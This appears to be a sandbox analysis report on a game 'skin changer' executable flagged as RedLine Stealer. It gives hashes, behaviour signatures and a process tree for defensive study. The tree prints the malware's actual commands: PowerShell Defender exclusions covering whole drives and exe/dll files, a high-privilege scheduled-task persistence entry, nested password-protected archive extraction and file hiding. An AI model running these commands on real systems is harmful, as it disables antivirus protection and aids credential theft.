Analysis
- max time kernel
122s - max time network
123s - platform
windows10_x64 - resource
win10-en-20211014 - submitted
23/10/2021, 15:59
Static task
static1
Behavioral task
behavioral1
Sample
Valorant SkinChanger.exe
Resource
win7-en-20210920
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Valorant SkinChanger.exe
Resource
win10-en-20211014
0 signatures
0 seconds
General
- Target Valorant SkinChanger.exe
- Size 2.3MB
- Sample211023-te3beadcfn
- SHA256 9e3f93ae0a1f76351b69714917b3f1cd965b09e2e696964b28d693c14f71f007
- MD5 2593da293c10bebca0895f0636e56689
- SHA1 27201a2d876de5c1fc1b735f0f671398ebc6f2a5
- SHA512 fa6d250297cf381d5181a81d8efe319cc2f278383e992d98e72823dd37498cd8d04e43e6c8830995f2d8908e09cc2bcd8d1762cf9a2245f5387b2f317f74c469
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine Payload 2 IoCs
resource yara_rule behavioral2/files/0x000400000001abea-163.dat family_redline behavioral2/files/0x000400000001abea-167.dat family_redline - Downloads MZ/PE file
- Executes dropped EXE 15 IoCs
pid Process 4236 7z.exe 1676 7z.exe 4356 7z.exe 4404 7z.exe 4324 7z.exe 1020 7z.exe 1116 7z.exe 1320 7z.exe 1440 7z.exe 1624 7z.exe 1812 7z.exe 2208 bild.exe 3168 sys32.exe 2984 services32.exe 4252 sihost32.exe - Loads dropped DLL 11 IoCs
pid Process 4236 7z.exe 1676 7z.exe 4356 7z.exe 4404 7z.exe 4324 7z.exe 1020 7z.exe 1116 7z.exe 1320 7z.exe 1440 7z.exe 1624 7z.exe 1812 7z.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 604 schtasks.exe - Suspicious behavior: EnumeratesProcesses 16 IoCs
pid Process 2208 bild.exe 3688 conhost.exe 4728 powershell.exe 4728 powershell.exe 4728 powershell.exe 4512 powershell.exe 4512 powershell.exe 4512 powershell.exe 1756 conhost.exe 1756 conhost.exe 3200 powershell.exe 3200 powershell.exe 3200 powershell.exe 1216 powershell.exe 1216 powershell.exe 1216 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeRestorePrivilege 4236 7z.exe Token: 35 4236 7z.exe Token: SeSecurityPrivilege 4236 7z.exe Token: SeSecurityPrivilege 4236 7z.exe Token: SeRestorePrivilege 1676 7z.exe Token: 35 1676 7z.exe Token: SeSecurityPrivilege 1676 7z.exe Token: SeSecurityPrivilege 1676 7z.exe Token: SeRestorePrivilege 4356 7z.exe Token: 35 4356 7z.exe Token: SeSecurityPrivilege 4356 7z.exe Token: SeSecurityPrivilege 4356 7z.exe Token: SeRestorePrivilege 4404 7z.exe Token: 35 4404 7z.exe Token: SeSecurityPrivilege 4404 7z.exe Token: SeSecurityPrivilege 4404 7z.exe Token: SeRestorePrivilege 4324 7z.exe Token: 35 4324 7z.exe Token: SeSecurityPrivilege 4324 7z.exe Token: SeSecurityPrivilege 4324 7z.exe Token: SeRestorePrivilege 1020 7z.exe Token: 35 1020 7z.exe Token: SeSecurityPrivilege 1020 7z.exe Token: SeSecurityPrivilege 1020 7z.exe Token: SeRestorePrivilege 1116 7z.exe Token: 35 1116 7z.exe Token: SeSecurityPrivilege 1116 7z.exe Token: SeSecurityPrivilege 1116 7z.exe Token: SeRestorePrivilege 1320 7z.exe Token: 35 1320 7z.exe Token: SeSecurityPrivilege 1320 7z.exe Token: SeSecurityPrivilege 1320 7z.exe Token: SeRestorePrivilege 1440 7z.exe Token: 35 1440 7z.exe Token: SeSecurityPrivilege 1440 7z.exe Token: SeSecurityPrivilege 1440 7z.exe Token: SeRestorePrivilege 1624 7z.exe Token: 35 1624 7z.exe Token: SeSecurityPrivilege 1624 7z.exe Token: SeSecurityPrivilege 1624 7z.exe Token: SeRestorePrivilege 1812 7z.exe Token: 35 1812 7z.exe Token: SeSecurityPrivilege 1812 7z.exe Token: SeSecurityPrivilege 1812 7z.exe Token: SeDebugPrivilege 2208 bild.exe Token: SeDebugPrivilege 3688 conhost.exe Token: SeDebugPrivilege 4728 powershell.exe Token: SeIncreaseQuotaPrivilege 4728 powershell.exe Token: SeSecurityPrivilege 4728 powershell.exe Token: SeTakeOwnershipPrivilege 4728 powershell.exe Token: SeLoadDriverPrivilege 4728 powershell.exe Token: SeSystemProfilePrivilege 4728 powershell.exe Token: SeSystemtimePrivilege 4728 powershell.exe Token: SeProfSingleProcessPrivilege 4728 powershell.exe Token: SeIncBasePriorityPrivilege 4728 powershell.exe Token: SeCreatePagefilePrivilege 4728 powershell.exe Token: SeBackupPrivilege 4728 powershell.exe Token: SeRestorePrivilege 4728 powershell.exe Token: SeShutdownPrivilege 4728 powershell.exe Token: SeDebugPrivilege 4728 powershell.exe Token: SeSystemEnvironmentPrivilege 4728 powershell.exe Token: SeRemoteShutdownPrivilege 4728 powershell.exe Token: SeUndockPrivilege 4728 powershell.exe Token: SeManageVolumePrivilege 4728 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4144 wrote to memory of 2120 4144 Valorant SkinChanger.exe 68 PID 4144 wrote to memory of 2120 4144 Valorant SkinChanger.exe 68 PID 2120 wrote to memory of 4244 2120 cmd.exe 70 PID 2120 wrote to memory of 4244 2120 cmd.exe 70 PID 2120 wrote to memory of 4236 2120 cmd.exe 71 PID 2120 wrote to memory of 4236 2120 cmd.exe 71 PID 2120 wrote to memory of 1676 2120 cmd.exe 72 PID 2120 wrote to memory of 1676 2120 cmd.exe 72 PID 2120 wrote to memory of 4356 2120 cmd.exe 73 PID 2120 wrote to memory of 4356 2120 cmd.exe 73 PID 2120 wrote to memory of 4404 2120 cmd.exe 74 PID 2120 wrote to memory of 4404 2120 cmd.exe 74 PID 2120 wrote to memory of 4324 2120 cmd.exe 75 PID 2120 wrote to memory of 4324 2120 cmd.exe 75 PID 2120 wrote to memory of 1020 2120 cmd.exe 76 PID 2120 wrote to memory of 1020 2120 cmd.exe 76 PID 2120 wrote to memory of 1116 2120 cmd.exe 77 PID 2120 wrote to memory of 1116 2120 cmd.exe 77 PID 2120 wrote to memory of 1320 2120 cmd.exe 78 PID 2120 wrote to memory of 1320 2120 cmd.exe 78 PID 2120 wrote to memory of 1440 2120 cmd.exe 79 PID 2120 wrote to memory of 1440 2120 cmd.exe 79 PID 2120 wrote to memory of 1624 2120 cmd.exe 80 PID 2120 wrote to memory of 1624 2120 cmd.exe 80 PID 2120 wrote to memory of 1812 2120 cmd.exe 81 PID 2120 wrote to memory of 1812 2120 cmd.exe 81 PID 2120 wrote to memory of 2084 2120 cmd.exe 82 PID 2120 wrote to memory of 2084 2120 cmd.exe 82 PID 2120 wrote to memory of 2208 2120 cmd.exe 83 PID 2120 wrote to memory of 2208 2120 cmd.exe 83 PID 2120 wrote to memory of 2208 2120 cmd.exe 83 PID 2208 wrote to memory of 3168 2208 bild.exe 86 PID 2208 wrote to memory of 3168 2208 bild.exe 86 PID 3168 wrote to memory of 3688 3168 sys32.exe 87 PID 3168 wrote to memory of 3688 3168 sys32.exe 87 PID 3168 wrote to memory of 3688 3168 sys32.exe 87 PID 3688 wrote to memory of 1524 3688 conhost.exe 88 PID 3688 wrote to memory of 1524 3688 conhost.exe 88 PID 1524 wrote to memory of 4728 1524 cmd.exe 90 PID 1524 wrote to memory of 4728 1524 cmd.exe 90 PID 3688 wrote to memory of 5008 3688 conhost.exe 91 PID 3688 wrote to memory of 5008 3688 conhost.exe 91 PID 5008 wrote to memory of 604 5008 cmd.exe 93 PID 5008 wrote to memory of 604 5008 cmd.exe 93 PID 1524 wrote to memory of 4512 1524 cmd.exe 95 PID 1524 wrote to memory of 4512 1524 cmd.exe 95 PID 3688 wrote to memory of 2456 3688 conhost.exe 96 PID 3688 wrote to memory of 2456 3688 conhost.exe 96 PID 2456 wrote to memory of 2984 2456 cmd.exe 98 PID 2456 wrote to memory of 2984 2456 cmd.exe 98 PID 2984 wrote to memory of 1756 2984 services32.exe 101 PID 2984 wrote to memory of 1756 2984 services32.exe 101 PID 2984 wrote to memory of 1756 2984 services32.exe 101 PID 1756 wrote to memory of 3604 1756 conhost.exe 102 PID 1756 wrote to memory of 3604 1756 conhost.exe 102 PID 3604 wrote to memory of 3200 3604 cmd.exe 104 PID 3604 wrote to memory of 3200 3604 cmd.exe 104 PID 1756 wrote to memory of 4252 1756 conhost.exe 105 PID 1756 wrote to memory of 4252 1756 conhost.exe 105 PID 3604 wrote to memory of 1216 3604 cmd.exe 106 PID 3604 wrote to memory of 1216 3604 cmd.exe 106 PID 4252 wrote to memory of 3160 4252 sihost32.exe 107 PID 4252 wrote to memory of 3160 4252 sihost32.exe 107 PID 4252 wrote to memory of 3160 4252 sihost32.exe 107 - Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2084 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Valorant SkinChanger.exe"C:\Users\Admin\AppData\Local\Temp\Valorant SkinChanger.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4144 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"2⤵
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\system32\mode.commode 65,103⤵PID:4244
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C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p___________29783pwd19393pwd12772pwd8909pwd27852pwd25744pwd14383___________ -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4236
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C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_10.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1676
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C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_9.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4356
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C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_8.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4404
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C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_7.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:4324
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C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_6.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1020
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C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_5.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1116
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C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_4.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1320
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C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_3.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1440
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C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1624
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C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1812
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C:\Windows\system32\attrib.exeattrib +H "bild.exe"3⤵
- Views/modifies file attributes
PID:2084
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C:\Users\Admin\AppData\Local\Temp\main\bild.exe"bild.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Users\Admin\AppData\Local\Temp\sys32.exe"C:\Users\Admin\AppData\Local\Temp\sys32.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3168 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\sys32.exe"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit6⤵
- Suspicious use of WriteProcessMemory
PID:1524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4728
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"7⤵
- Suspicious behavior: EnumeratesProcesses
PID:4512
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C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"6⤵
- Suspicious use of WriteProcessMemory
PID:5008 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"7⤵
- Creates scheduled task(s)
PID:604
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C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\services32.exe"6⤵
- Suspicious use of WriteProcessMemory
PID:2456 -
C:\Users\Admin\services32.exeC:\Users\Admin\services32.exe7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "C:\Users\Admin\services32.exe"8⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1756 -
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit9⤵
- Suspicious use of WriteProcessMemory
PID:3604 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"10⤵
- Suspicious behavior: EnumeratesProcesses
PID:3200
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"10⤵
- Suspicious behavior: EnumeratesProcesses
PID:1216
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C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"9⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4252 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\\conhost.exe" "/sihost32"10⤵PID:3160
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